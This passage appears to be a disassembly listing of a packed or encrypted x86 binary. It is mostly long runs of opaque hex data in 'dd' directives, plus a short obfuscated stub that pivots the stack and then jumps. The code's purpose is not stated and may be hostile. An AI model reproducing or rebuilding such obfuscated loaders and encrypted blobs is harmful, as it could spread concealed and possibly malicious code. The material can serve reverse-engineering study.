0D6C54C1Fh, 63395E88h, 41182857h, 0A2ADF3BAh dd 0EC310E7Dh, 49AEF1E0h, 0DA651764h, 94366A89h, 4118287Ch dd 0B28DFC39h, 0ABF8B36Eh, 9478F061h, 28ADFDAFh, 6D404118h dd 0C2810A37h, 9CAC40A5h, 71411828h, 2BFDE63Ah, 4118281Bh dd 92F73829h, 1828E21Ah, 0D24A4F41h, 41182886h, 0E601406Bh dd 2075D2B9h, 1828B894h, 0A9CFB241h, 2843008Bh, 52B794E7h dd 75053445h, 276685D6h, 5C69B7F6h, 0B994FA37h, 22172D1h dd 0D01F3AC3h, 5DF45507h, 46016507h, 561B4118h, 0DA691212h dd 0B4C458BDh, 59411846h, 0D514335Ch, 7D74448Fh, 46709814h dd 30A54118h, 18462C7Ch, 0ABEAC141h, 7D020F68h, 0AD7F92CEh dd 4118469Ah, 0F5B3DAABh, 0B16D09B3h, 0D607B663h, 0FAA29D06h dd 90E8911Ch, 6FFE0479h, 1A6D1D7h, 58790000h, 420364ABh dd 3D7C6534h, 0C4154B14h, 18A9D328h, 65371C49h, 41189E55h dd 3A074048h, 9EB3C755h, 57664118h, 5A51C814h, 0B38CF03Dh dd 0A076C6Dh, 5F9AC685h, 8E45A82Dh, 6927641h, 0AF7DA2C7h dd 4118269Bh, 0FEE13F7Eh, 1CACBB1h, 0F0E2C17Bh, 2AFA2B6Ah dd 0CFDE597Ch, 3F6CD7A5h, 6CB18AF2h, 6BBF39A8h, 3814549Dh dd 6EB28DFBh, 0E70E3943h, 2469D2BAh, 9DA6D2DFh, 135C1547h dd 79C2B7F8h, 0EC750754h, 539FE830h, 6FAE0DCAh, 0D6711B04h dd 45334085h, 2604A6FAh, 0A099A902h, 87F52F49h, 206C55BCh dd 0DB96F627h, 91B97394h, 5CB8CE61h, 0CD1E295Fh, 0F4C772AEh dd 56F58693h, 59BAE605h, 7A398740h, 0A8AD7A83h, 0CE0EA4F4h dd 236249B8h, 7DCAB4FDh, 0EA352C28h, 0EC71F8Dh, 832AB8CEh dd 0EA552768h, 3D0A74B9h, 3BBD24E8h, 89B6C4D1h, 0C6173058h dd 4C3079A7h, 72BF98F3h, 4EDE3B08h, 0B8CE0E3Ah, 7980DCDFh dd 99FB2813h, 0AA42A7E8h, 0B8CE0E96h, 7286167Bh, 0A7B8CE0Eh dd 75BAD514h, 0EAEF3C07h, 3162E1ADh, 0E3058D4h, 0D6E5B8CEh dd 0F6C0EE97h, 1AB2A448h, 0C8CDBBC6h, 729957ADh, 7F2D4A96h dd 0B8CE242Bh, 4BACEFCEh, 0FCF97FAh, 4F95659Dh, 0D117D23Eh dd 64382953h, 0B8CED654h, 58B3F2B9h, 64142557h, 94B98DBh dd 3AF21758h, 0B8CED6FAh, 444DA417h, 0BDDA0B34h, 0D6B4C458h dd 5259B8CEh, 0C415CC0Eh, 1C5F8CBBh, 0C8E0BCDDh, 4DB8CED6h dd 800C096Eh, 0D6FF0BE1h, 9B12B8CEh, 43DB0458h, 0DD3A0577h dd 0C7350FF8h, 0DA08F697h, 3AAAFE0Ah, 0EEBE1347h, 473AAADAh dd 0E73D7C3Fh, 98E79CFCh, 6C1D1A7Fh, 3D6382D3h, 18C3B86Bh dd 61289549h, 3542A7E6h, 0D2774243h, 25A68DBFh, 53A085E2h dd 3D4D1F2Ch, 20411894h, 5B52EF58h, 0A3D5DA05h, 5A094B98h dd 0C738F415h, 104F3A9Ah, 8D29712Bh, 0E1CC4B7Eh, 9B1186B3h dd 4B7E8D4Fh, 9BC80BA2h, 7EFDA5C9h, 0F583904Bh, 86DA194Ah dd 37509F54h, 5C8CDE65h, 3F6C4F45h, 0C9B18AF2h dd 0E9752020h, 731DEC3Dh, 3C000004h, 929FF651h, 0E335AE9h dd 66ABC281h, 0D0C12813h, 707691AEh, 0E8572770h, 5DEA9081h dd 0C07B0D32h, 2B1478A9h, 0AC4019C0h, 4113A59Ch, 5845DD71h dd 0DE0364ABh, 409CA7D1h, 183B61A6h, 22477649h, 0E79CA7D5h dd 0C3EFE00Dh, 84A1FF52h, 1866A7C8h, 5A9E5B41h, 0D17B3A37h dd 0BE6E534Bh, 41186E6Ah, 2DF02C8Fh, 84h, 3BF4E8F5h, 42A7473Ah dd 0DA064535h, 0D46F1D54h, 5EA55BBDh, 0B173D439h, 0DF3263EEh dd 70805A86h, 0A5473ADCh, 0E4A8C516h, 5E27305Bh, 0A2D15919h dd 84D60A10h, 886485CCh, 473AA268h, 0A0CD1E9Dh, 280863DCh dd 0B398F138h, 3AA2D1F9h, 2B694447h, 0A2067626h, 0C0EB473Ah dd 62BDC193h, 9A474739h, 0B0F7E95Eh, 0E291C557h, 317C473Ah dd 0DF3BD6h, 0ED560000h, 98E4F326h, 0E3B9DEF1h, 473AC7D7h dd 912D733Ah, 5A99E65Fh, 0F4FCFE61h, 36CF03A9h, 0E331EC93h dd 54B5FAE9h, 18BF3BD8h, 9CC1EC49h, 0F51C2B5Fh, 0DB1AEFE3h dd 78830BCAh, 49234487h, 4119392Dh, 0CEBEFBD0h, 53052075h dd 41193907h, 5380C3EAh, 506E8081h, 0A1C78297h, 0D0D5F36Eh dd 77250A4Bh, 41193123h, 0BF925DD6h, 0CA4B258h, 6A8E97CDh dd 94000000h, 267AA58h, 94B986F5h, 0C8771849h, 83D74594h dd 76473A3Bh, 0DB641461h, 91B96B8Ah, 74473A3Bh, 0A9043D0Ah dd 82082576h, 0FD8CBDCBh, 0A7C00342h, 0E819226Ah, 147FA5A2h dd 0E6034E04h, 3A3AB636h, 6768347h, 97CDE83Dh, 32C2139Ah dd 4739FAE2h, 3A0F6918h, 0CE0F948h, 473A7AA8h, 18315865h dd 5C95D473h, 0BBD21532h, 3A0577E3h, 8FB8C4E9h, 105F1464h dd 0F9FD0EF7h, 60B592F9h, 0A245B845h, 111B2FFDh, 0BFFE473Ah dd 7B31207Ch, 491869F4h, 33C11299h, 411808E3h, 0ECBBC1Dh dd 427F30A3h, 0F276F321h, 0D10AA2DFh, 34374Bh, 55A20000h dd 29C51B24h, 364AB58h, 18416669h, 0B7E4D749h, 59206D52h dd 0AE7EBDEEh, 4118319Ah, 46E03C7Fh, 41183136h, 0A0E701C8h dd 4BD1D1ADh, 0BD08h, 5771600h, 0BAC4E93Ah, 6913588Dh dd 5A9DAAD0h, 0BD8AF03Dh, 0F6174D68h, 168D3B9h, 3A379F8Fh dd 4FFA8247h, 93D20340h, 92FA3750h, 27686BA9h, 5BB9EA55h dd 0D93E5BA8h, 4C90AFDCh, 183931BAh, 0B4DFDE49h, 6146AFA4h dd 18297F8Bh, 491B9241h, 41182921h, 3E1CD9D4h, 9F9DB26Fh dd 31EB0C4Fh, 4F3C53DDh, 1F1C7D30h, 91AADE6Fh, 0E15A2F4Ch dd 1B046FAEh, 3122D473h, 3CEF950Fh, 1C01CE3h, 4890000h dd 9CEFD03Bh, 345B44AFh, 0C6B3FC17h, 612D127Dh, 0BDBF8BE2h dd 0D23D0A74h, 47AE9DEDh, 0FA152E5Ah, 157CC7B5h, 0CB1F8DEAh dd 2E41139Bh, 777B868h, 0BBFA4936h, 221D6F50h, 0AB5853CBh dd 88F60364h, 154B6ABBh, 412728C4h, 0A5084918h, 3190A470h dd 0B6E4118h, 0EB925D26h, 4242EC58h, 18764692h, 0DC00AB41h dd 48391355h, 0F08B8EBFh, 60B4E85Fh, 4BD173EDh, 8EC8h dd 5775600h, 0BAC4E93Ah, 3BA9F1ABh, 614C473Ah, 0FF2FFD2Eh dd 22473A37h, 8B88E15Ah, 0B4E7F900h, 2DE299BDh, 64ADB6EAh dd 9EFE2F18h, 0A3799EE5h, 491856C8h, 0AD8FE6D5h, 9C1069B6h dd 4F3CD59Bh, 0D3203974h, 4C759CABh, 0D8750542h, 5EF94C1h dd 0F03534h, 0D4B90000h, 6C1F006Bh, 48BB4DFh, 96E32C47h dd 315D42ADh, 0ED8FFB12h, 26DDAA4h, 0B7DE6D1Dh, 2A45FE8Ah dd 45AC97E5h, 1B2FFD9Ah, 0FE41139Ah, 777C858h, 9CE0D138h dd 77D248A3h, 0FA453405h, 37456ABBh, 8986EB0Ch, 449444FFh dd 0A9473A3Bh, 0A3B5DE02h, 960663B0h, 4921C552h, 0A2A7F4C7h dd 69C2555h, 2FFB6AB0h, 8EADFE31h, 0DA651752h, 45FE8EB3h dd 60214410h, 48A12E7Fh, 0BF88F430h, 9C216B54h, 48304268h dd 0F68FAEFFh, 8F1DC219h, 207CF17Bh, 9DDC1F9Eh, 800E0B48h dd 1E5392C3h, 6F8EDF6Ch, 0C6810831h, 19305895h, 4697D675h dd 0B5E66529h, 0F18CDC50h, 4A61207Ch, 0F135B3BEh, 0D64EAA57h dd 8B7C9DA6h, 0E81775ADh, 8DB6C6A5h, 0CB74054Ah, 0DA055B9Ah dd 8926A7D5h, 4DEEF17Eh, 0BD6341A4h, 0BCFF8D67h, 3D1287Dh dd 3D000000h, 67773CBh, 0B9C3E83Dh, 68105D8Eh, 19618EDFh dd 0CAB4F92Ah, 7B03287Dh, 27529FCCh, 0DDA2CF1Ch, 8BF03D6Eh dd 68696FBCh, 39D3h, 68240489h, 5FCh, 68243489h, 542Eh dd 68243C89h, 629968Bh, 8124348Bh, 4C4h, 3C8B5400h, 4C48324h dd 8904EC83h, 0F389241Ch, 5B085F89h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- dw 2FF9h dd 8C2618D3h, 0F75995BEh, 29A2E3B8h, 0FFC50306h, 0FB4D09E0h dd 9DB80C7Ch, 5A04D944h, 202E0A7Ch, 4F8D8D5Dh, 6A0629A4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 177FC357h, 559D8B40h, 89062233h, 2233F18Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 203243EAh, 61E8F430h, 2D3185C7h, 74BC0622h dd 9D8B0000h, 6221621h, 30E585C7h, 622h, 95030000h, 6221B9Dh dd 2ADDB5FFh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 5E47EFC3h, 0E9D10F5Bh, 0Dh, 0AAEABA00h dd 36D5CA83h, 8A513318h, 6595FF54h, 6A062220h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 82D9C356h, 7092364Fh, 66167531h, 0A705C381h, 95FF006Ah dd 6223075h, 7AEBC08Bh, 298EF69Dh, 3B62F988h, 13A3C627h dd 5C8487C6h, 5BBD10CBh, 0A984524h, 0E7F23A96h, 0D503EAEDh dd 0CA603BB5h, 3FC5C3B4h, 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh dd 1F36F203h, 2A94970Ch, 848EABBEh, 5FE4EB75h, 1473BE42h dd 89E48D74h, 31A3D53h, 0B935A505h, 4180ACFCh, 3DDF4A3h dd 34C62E36h, 456483ECh, 133D22D8h, 0C5823FF8h, 0E14C5818h dd 48095D35h, 0E7D8F0A1h, 0ECE92A13h, 0 dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h dd 77F7E3h, 277E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 14000000h, 922AF34h, 45335C64h, 0D0681142h dd 4619054Bh, 2223FC2Fh, 0B1501566h, 842CE74h, 0BD066C03h dd 59BB2910h, 9201E4CAh, 0AA3AC8DBh, 4D471560h, 2813A8E5h dd 65321344h, 361457Fh, 4023ADA6h, 0A7BB1566h, 17100E5Fh dd 37FB88EBh, 97CD1342h, 9FB14D3Dh, 17101F47h, 0D8256166h dd 4023AD35h, 0A7BB1566h, 17100E5Fh, 348A88EBh, 97CD1342h dd 2ADB4D3Dh, 15321566h, 2185D678h, 0B1D14066h, 2232198Fh dd 247CD666h, 0F3B23372h, 0F72D9673h, 2BB11A7Ah, 71321566h dd 9547406h, 25DF2BB9h, 0ABF49C30h, 35069E96h, 0E836D1E5h dd 3820AA9Fh, 0A1534342h, 3896FADBh, 0C3D1560h, 4432153Bh dd 22321C8Fh, 3CC12266h, 9D19E432h, 0C1BF9E95h, 241B7AEAh dd 1134FC06h, 0F6A81566h, 0BDEB5DAh, 2232068Fh, 0B4F99A66h dd 0DBA534DDh, 45FA65D5h, 0DC6161D4h, 5E1BE6Fh, 74E2EA07h dd 0F8B7989Fh, 0D7343C09h, 973DC599h, 8832156Eh, 44309369h dd 43521566h, 9C59406h, 742C427Dh, 4DB7D307h, 74343755h dd 0A9607D9Fh, 8FDB89CEh, 0DB321566h, 69406A9Fh, 0A4CD7DEFh dd 8E10332Fh, 443A9369h, 0A53D1566h, 11321564h, 0DBF7406h dd 421768D8h, 2226FC06h, 30771566h, 0E28FCC9Fh, 4FBF42h dd 0DDEDCC1Dh, 0FC6FA48Fh, 9542FBEh, 25CBA594h, 2D52C599h dd 11320DE1h, 8821FC66h, 0C4E21566h, 86D9A0E3h, 3DDB9522h dd 971C144Ah, 830153D2h, 0A7BB74D6h, 17100E3Fh, 0B5B7D293h dd 44343763h, 0DB321566h, 11321D8Fh, 0FB68566h, 260D0D84h dd 2BB7D3F7h, 54343755h, 0E15B7D9Fh, 50DB9B14h, 1B321566h dd 5DC9B13h, 48945367h, 9016A904h, 3489011Eh, 0EE1F949Dh dd 0AA01BCD3h, 0C1BFED60h, 24102F97h, 11249F69h, 0E3D1566h dd 44321576h, 22321E8Fh, 0B932B366h, 1F438E3h, 9C1578FBh dd 2238FC06h, 7C241566h, 69B6AF54h, 9E8DB7DBh, 2DE2EA07h dd 113202E4h, 99BD1A66h, 0AD321566h, 2232156Ah, 5893710h dd 0EBD417FAh, 5E9F6ABCh, 2232058Fh, 0A432DC66h, 2A59549Eh dd 8A0F0ACBh, 238B8558h, 18B79C57h, 7134376Dh, 773B90A0h dd 2D711344h, 113214E1h, 0D65AEC66h, 0ADAE720Dh, 22321577h dd 0F9A142F6h, 0FB0AEF70h, 44D92408h, 6173B561h, 0B887EAF5h dd 61343755h, 4432156Eh, 4263FCB9h, 1552E0E6h, 0B2C390EBh dd 4BDB1344h, 8A321566h, 0F02B5B79h, 6638155Eh, 7D172E7Eh dd 0F2CD3835h, 1132048Fh, 0D27F5766h, 5A017AECh, 0F9451816h dd 0DED33341h, 0DBB23ABh, 421BB1B1h, 22239069h, 1DDB1566h dd 0C9321566h, 72DF6E1Eh, 52A16A06h, 0D74A588Eh, 0AA011CE3h dd 4CDB4160h, 3E321566h, 0FB9F9A36h, 0E0122725h, 0AA507D4Fh dd 22299569h, 923D1566h, 88321573h, 4432058Fh, 7F7F8266h dd 2E5080F7h, 8BC04B2Ah, 0B1853AFBh, 8B87EAEBh, 71343755h dd 88329069h, 0FD541566h, 0AF5308A6h, 3308E4E3h, 13D7560h dd 44321563h, 0E6C19400h, 0C1CD7471h, 60CA759Ah, 44321575h dd 120FD4F5h, 0D016422Dh, 0E56359CEh, 89775695h, 99F390A2h dd 5F12E9A4h, 0DBB743Eh, 421BB1BDh, 223A9669h, 953D1566h dd 88321564h, 0C1F47406h, 2410266Fh, 10B61A23h, 71321566h dd 240AD70Eh, 31DBE0BCh, 48321566h, 0D47883FCh, 0FEC51AB7h dd 0A1FAF7F1h, 0A4D7B8C6h, 3DCDFEADh, 421026CFh, 7CDE9506h dd 70E19400h, 0DBF74BAh, 42102F97h, 43524706h, 0C1CD743Dh dd 8832048Fh, 3EE1E466h, 602DD982h, 0B5557F98h, 4F871CE6h dd 0C1BB22F4h, 241BB1B9h, 1132018Fh, 0FDAEC866h, 0A07B13F5h dd 7C5F5B3h, 7DAAE29Bh, 9669CAF3h, 0B18F968Eh, 22343766h dd 10299069h, 0A3D1566h, 44321572h, 2239FC06h, 22031566h dd 7C0875Eh, 85028659h, 43F99FDAh, 223B90A0h, 87771344h dd 443214ECh, 0A45AE066h, 0E8C83518h, 0BB9BA099h, 0C9CB1344h dd 8E4E3h, 1E617560h, 0EE68EFD1h, 2512AFDCh, 0A952C599h dd 13BA1AA7h, 0DE321566h, 0C1BB743Ch, 241BB185h, 11321F8Fh dd 5E23FB66h, 8D69C559h, 0E4387256h, 33011CE3h, 60525960h dd 4432156Eh, 545F07CCh, 8796786Eh, 0C2EB9400h, 0FB3D4F77h dd 0E15A74AEh, 0E4D233B6h, 0BB9BA099h, 57DB1344h, 59321566h dd 943B252Dh, 3037C912h, 501EA430h, 0B217D5B9h, 9CC70600h dd 0AA08E4E3h, 0C03D7560h, 22321563h, 0B5EC9400h, 58B373DBh dd 0BB535840h, 33B81AB6h, 0F8321566h, 8832156Ah, 0FB9A8F75h dd 0F98CCFE6h, 73EE0EFAh, 2CD590EFh, 0C452134Fh, 0A13D05BDh dd 11321560h, 88329069h, 0AD531566h, 22321443h, 1132198Fh dd 2C93466h, 2497BB40h, 8005A8F2h, 1BBC1A67h, 61321566h dd 44321563h, 0B762F7A9h, 18B7D33Dh, 0DA343755h, 44319869h dd 0DB521566h, 0F53F7D07h, 6152A92Ch, 4432156Ah, 0F76CECEAh dd 0CF1D1B84h, 0C9A38427h, 86B7B5DEh, 97CD7448h, 17101573h dd 883FFC06h, 1EC81566h, 91F9E8B7h, 0A9BF956Eh, 3BB12EE8h dd 0C1BF7492h, 24102F97h, 11321E8Fh, 527FD766h, 7ED31EDFh dd 140CE985h, 7752C599h, 954C6EDh, 25F827A1h, 86D190EFh dd 0A352134Fh, 4E53EDBCh, 66011CE3h, 25DB4760h, 0DD321566h dd 94884F3Bh, 0C5A34FFh, 2D94592Ch, 113203E8h, 8823FC66h dd 5EB51566h, 0AE39EB23h, 0BAE3550Bh, 0E290431Dh, 242B98F5h dd 0CFDFA6DCh, 0C2851A2Dh, 9D87EA07h, 24343766h, 9D5422D0h dd 9C5350B1h, 0AA08E4E3h, 4B637560h, 4468C3D9h, 0E853C5EDh dd 9BDBC599h, 7B321566h, 57CE25DEh, 9AF67E95h, 0F5EDB235h dd 3890BD41h, 0A7BBAE7Ah, 171BB181h, 8832198Fh, 238DB066h dd 2FA33005h, 13321568h, 81B7D304h, 16343755h, 24B61A06h dd 1E321566h, 883215EFh, 82B97366h, 2239FC07h, 0C4C31566h dd 5A7C630Dh, 0BC520CF9h, 96D87D24h, 16DBE824h, 8321566h dd 53FE49D1h, 97CD0461h, 171026CFh, 88239A69h, 0FA521566h dd 443424E6h, 1132108Fh, 743C766h, 4B53AAA2h, 223203EEh dd 1123FC66h, 0AF251566h, 0BC863C04h, 0F18B47C0h, 0E8324804h dd 542344Ch, 6608E4E3h, 0F2CDE960h, 113A9469h, 2521566h dd 918873ADh, 0A7BB74AFh, 171015CBh, 81B7D39Eh, 33343755h dd 2232188Fh, 0B90A2C66h, 0E043208Bh, 1CFF8403h, 815AEC8Dh dd 0EDC182CEh, 87FBA099h, 14521344h, 2AF19400h, 9A544B04h dd 0DBF749Fh, 42102F97h, 223A9369h, 993D1566h, 88321564h dd 94CD7406h, 22321F8Fh, 2923ED66h, 0B4FC1E36h, 0CDDC09C7h dd 21D0E3h, 1139FC60h, 22EC1566h, 0A38F5159h, 0F5C81A58h dd 94F4EDADh, 8E10266Fh, 535AE034h, 2DB8C857h, 113219E5h dd 8835FC66h, 0A1591566h, 0E6502DC5h, 0B887EA86h, 87343755h dd 443201E5h, 29DB7566h, 0A0321566h, 68E2CB7Ah, 7C0E62BEh dd 0EAB809B3h, 0E0B79807h, 7034375Ch, 0AC52C599h, 22321563h dd 0EA2A1E7h, 0E969E080h, 446F90EFh, 0A53D1344h, 1132156Eh dd 88309469h, 25521566h, 22321A8Fh, 375DE266h, 9EBE8B5Fh dd 0E63B4230h, 0CED490F5h, 223B90A0h, 7D641344h, 5B5F2C0Eh dd 223BFCB2h, 0C22C1566h, 0DC17A97Fh, 0BB0E9F2Fh, 145CD3h dd 1137FC60h, 0CF81566h, 0B1061C17h, 5F8C90EBh, 0EECE1343h dd 0DBBE0B6h, 42100B07h, 2BB7D39Ah, 56343755h, 88249669h dd 55DB1566h, 28321566h, 4AF5454h, 0DFAC0713h, 0DA2E64E7h dd 0A25AF35Fh, 1487D9Ah dd 0DF5294BAh, 46BA1A3Dh, 0A9321566h, 0EECB74B6h, 0AA01BCD3h dd 46BC1A60h, 42321566h, 0E0B79807h, 7434375Ch, 2252C599h dd 7028FADFh, 4F0CF9E6h, 0A5B79C07h, 4B343747h, 223213E7h dd 73817566h, 4E537406h, 66011CE3h, 70525260h, 66CAE2DFh dd 23D4E76h, 44321566h, 97D07D07h, 90529F69h, 0B99D968Ch dd 443CFC73h, 888F1566h, 94FDBC7Ah, 340F809Ch, 0E979A30Fh dd 3EB81A07h, 71321566h, 8832068Fh, 23D10666h, 0C693E1A1h dd 7711B4CBh, 0EC37751Ah, 0FBF310B1h, 0DD537406h, 3301BCD3h dd 87C77560h, 443217E7h, 43EDA366h, 2BC390EBh, 77CB1344h dd 0C1BBECB6h, 241BB061h, 0F8B37306h, 98DB8544h, 87321566h dd 0B70B554h, 4DEF7AB2h, 24053234h, 259E6CCBh, 22321A8Fh dd 185A2066h, 1884D98Bh, 0B6ACD207h, 591EF25h, 221790A1h dd 884A1344h, 0C13D1566h, 2232156Ch, 1132108Fh, 3BDDA666h dd 0F9B1330Ah, 241030FFh, 0C3B61A66h, 6132157Eh, 4432156Eh dd 0D9BD9B62h, 5788F14Eh, 0BB3B90A0h, 4B7E1344h, 223214EDh dd 0F85AED66h, 74EBCF7Ah, 779BA099h, 44521344h, 1E3612D8h dd 883215E4h, 22527466h, 98A1C9DEh, 35875B06h, 79B79807h dd 0AD34375Ch, 22321576h, 652B8E0Fh, 1D291616h, 58F56A92h dd 0B6421A72h, 1E52C599h, 5EB3D4D1h, 7B433994h, 0D1B79C07h dd 71343CC2h, 8832138Eh, 5BCCE466h, 0A8488822h, 16DB4CBCh dd 9D321566h, 0CBA251D2h, 0CB53D78Bh, 11321560h, 9AFE1C9Fh dd 0C1F4B6C9h, 2410266Fh, 113CFC2Ah, 0A75C1566h, 8B5D43D8h dd 0F219038Dh, 0EDE3BE71h, 465A7406h, 0B8EF61B8h, 119BA099h dd 5DB1344h, 0C321566h, 1265A812h, 0AC111C00h, 70C15E4Ah dd 17ECD026h, 0ADF5E8D3h, 2232156Dh, 0B83EEC1Ch, 6D382439h dd 0C95BFD4Ah, 8E4E3h, 0C1CDED60h, 88321C8Fh, 56F4F166h dd 0C04FC5D7h, 94BB5680h, 8E1BB191h, 44321D8Fh, 40020B66h dd 0B4B062Ah, 81B7D3E1h, 8343755h, 0A00D7D9Ah, 0EECEA2E7h dd 0AA01BCD3h, 443FFC60h, 0DFC51566h, 0E0A5CAE7h, 778C03E2h dd 0C9E05A18h, 8E4E3h, 113BFC60h, 70EC1566h, 2974D346h dd 0DD0E5544h, 1138FCB6h, 0ECE01566h, 559F018Ch, 2D6A74FDh dd 0B5C990EFh, 83DB134Fh, 51321566h, 7D26B996h, 28F00F94h dd 0DF4C9D4h, 4210266Fh, 3A5AE02Ah, 71813A26h, 3DCD7493h dd 421026CFh, 22389A69h, 90521566h, 66C638A8h, 25537526h dd 0D3B7989Ah, 1E34375Ch, 88321DEEh, 46BB1A66h, 42321566h dd 0F8E2EA07h, 88321560h, 1C945BA4h, 0A7BBDAFCh, 171BB19Dh dd 88339769h, 82CA1566h, 11CE3h, 0F8CE5360h, 88321576h dd 4DBB1FABh, 1C085F5Ah, 939E8302h, 77B75742h, 9A34010Eh dd 2DB11ADCh, 0F8321566h, 8832156Ch, 0E253B4DDh, 0C8C221Fh dd 0A4CDAB98h, 8E1026CFh, 44359E69h, 0A43D1566h, 11321567h dd 79B7989Ah, 0AD34375Ch, 2232156Bh, 0B2ED8CBh, 3C543E2Ah dd 5727DEF9h, 0DEE2EAF6h, 0B43190EFh, 82DB134Fh, 10321566h dd 0B9DAAB0Fh, 0EF6621E8h, 81B7D3E2h, 3343755h, 223C9469h dd 18DB1566h, 0E7321566h, 2BBDB78Bh, 722F6008h, 0CD226F0Eh dd 9DB41AE7h, 0AD321566h, 22321576h, 305A089Bh, 0F3E4E0A0h dd 474799F5h, 9B3C31A8h, 229BA099h, 8DDB1344h, 26321566h dd 0CFF1491Ah, 2BC390EBh, 87DB1344h, 0FD321566h, 5AF3C15Dh dd 0BA3E869Dh, 4AC77F12h, 94CD535Ch, 22299269h, 9B3D1566h dd 88321573h, 4432058Fh, 4CBA1D66h, 588F8B1Eh, 5369DF27h dd 2FD3FF3Dh, 29B79C64h, 0E9343CC3h, 0BB3B90A0h, 0AD751344h dd 22321569h, 0CD97C7EAh, 0F67C3FA2h, 0C10F06Eh, 4ADF7956h dd 0FEB59BCAh, 2187EA9Fh, 24343755h, 43CC9E00h, 2BC390EBh dd 87521344h, 443217E3h, 0A905A666h, 0C1CD749Eh, 60E9AB06h dd 0FE86030Fh, 2DB79C07h, 71343CC3h, 87ECA269h, 443216E7h dd 0D9B97366h, 18DB7507h, 2E321566h, 0A3D3DBF0h, 41A73D74h dd 18B7D307h, 0CF343755h, 0E3E07D9Ah, 0DDCEC1FCh, 3301BCD3h dd 99DA7560h, 61321566h, 0ABE05D62h, 0B1808047h, 0C47462A4h dd 7E959DD1h, 2D697406h, 11321AE0h, 8838FC66h, 1E421566h dd 0D8E2AD39h, 49694454h, 79B79807h, 4B34375Ch, 223213EDh dd 77CE7566h, 6153CFEDh, 44321574h, 0E6FBF2B8h, 128ADDA7h dd 7B227405h, 0C1EEE172h, 0F2CDEA8Fh, 28F89406h, 94F3ED9h dd 8051AAA0h, 0A7BB742Fh, 171BB075h, 88321C8Fh, 0AC8C7C66h dd 76069BFDh, 94F49198h, 8E10266Fh, 47B31A21h, 42321566h dd 155A749Eh, 7D88D45Fh, 0ED87EA93h, 42343755h, 0FED89400h dd 8EB41A24h, 4B321566h, 223215EEh, 94BF7466h, 8E102F97h dd 443A9369h, 0AD3D1566h, 11321564h, 58CD7406h, 44321B8Fh dd 0FF272066h, 2BFA89Ch, 43E3756Eh, 0CD433391h, 0B9702E3h dd 0ACB1E960h, 8E1031E7h, 22B71A66h, 0CB321566h, 1132156Bh dd 87E5CD8h, 0E77FB47h, 32DA28CFh, 18B7D316h, 0CF343755h dd 69557D9Eh, 0DDCBF514h, 3301BCD3h, 89BA1A60h, 0BD321566h dd 0D3B7989Ah, 7134375Ch, 8832138Eh, 0EFAA5966h, 44F5C876h dd 0AE6CDAEDh, 8360A801h, 4BE2EA07h, 223212E4h, 10B11A66h dd 70321566h, 0E12990EFh, 42CA134Fh, 0ABBEAA00h, 81B7D307h dd 3343755h, 22321A8Fh, 72BE1466h, 0A437A9Eh, 0E1CCC291h dd 7C6B7F16h, 3881A40Eh, 883EFCE8h, 42521566h, 59FBA12Eh dd 4D024D8Ah, 3DCDDE51h, 421026CFh, 0D3B79893h, 1E34375Ch dd 88321DE6h, 0CF3D7566h, 22321566h, 1EE2EA07h, 883214E0h dd 0B152E966h, 223BFC36h, 3EB1566h, 223EF1DCh, 1A390FD3h dd 3DB79C07h, 0F8343CC3h, 88321561h, 0CE8D4742h, 0E4178034h dd 33011CE3h, 84DB5660h, 0D7321566h, 47A5A6EEh, 0D7718B00h dd 0E0531051h, 84445FC1h, 4252EC06h, 0CEB97307h, 3DCD7407h dd 421026CFh, 2232198Fh, 0EF770F66h, 0C85F996Dh, 1249BEB7h dd 0D3B798C4h, 7134375Ch, 0FCDEE4E7h, 0F33D61E8h, 36DB749Fh dd 91321566h, 0A9B9579Ch, 0D7069E61h, 5FC47FB1h, 0C14F8BDEh dd 778A706Fh, 0CDCEEDB6h, 0B9736E3h, 0A1827560h, 4E537406h dd 66011CE3h, 33DB5960h, 7D321566h, 0D4E2BFBFh, 7C2F58B1h dd 69CB06AAh, 8F712368h, 0EE5EFE0Eh, 4437FC9Dh, 584C1566h dd 0EE4BCE87h, 0AA3DDCD3h, 0C5CA7560h, 0CB300BEh, 94BF7477h dd 8E102F97h, 4BE2EA9Eh, 22321EE2h, 9D3D7566h, 88321566h dd 25E19E00h, 878590EFh, 3DB134Fh, 39321566h, 844DC9Fh dd 4D4A8021h, 9B7A5997h, 8DCF793h, 0CF547515h, 0A7F4749Dh dd 1710266Fh, 9BDBE022h, 70321566h, 0CBCE3102h, 0D7A0F1E6h dd 0B16283C6h, 0A9E3BFF6h, 775A3242h, 718966E8h, 88269169h dd 4ADA1566h, 0B7321566h, 953F42ACh, 0ABA52444h, 86B5B15Ah dd 0FAB34F42h, 14DE0606h, 2187EA07h, 24343755h, 43C99E00h dd 2BC390EBh, 0E3D1344h, 4432156Eh, 0D5B97306h, 7005DEE6h dd 9ADBC599h, 9321566h, 8734E2CDh, 95FF90EEh, 68E44D04h dd 31420388h, 5B79C69h, 0F8343CC3h, 8832156Dh, 8A6E8C27h dd 9E602EE9h, 0D7DD4752h, 0AA011CE3h, 54DB5660h, 0B2321566h dd 59E2A36Ah, 1CB548h, 0AF6E3122h, 4A908FABh, 0ADBC7B9Ah dd 8832108Fh, 75BE1A66h, 97CD50BFh, 171026CFh, 818B7593h dd 0F02ABAE2h, 0A7BF74A3h, 17102F97h, 0E8E2EA9Ah, 0E8897335h dd 2FDA4C20h, 52321566h dd 0A30A975Eh, 4CC5F8C4h, 0D27A7732h, 706B7406h, 2D1990EFh dd 4FDB134Fh, 1D321566h, 98600396h, 251772C7h, 0C1F4DE3Eh dd 2410266Fh, 1FBC1A35h, 0E8321566h, 4432108Fh, 0B3EB7066h dd 705270BFh, 0B6987D07h, 0BBCAD376h, 1BCD3h, 113BFC60h dd 50081566h, 73D40BD7h, 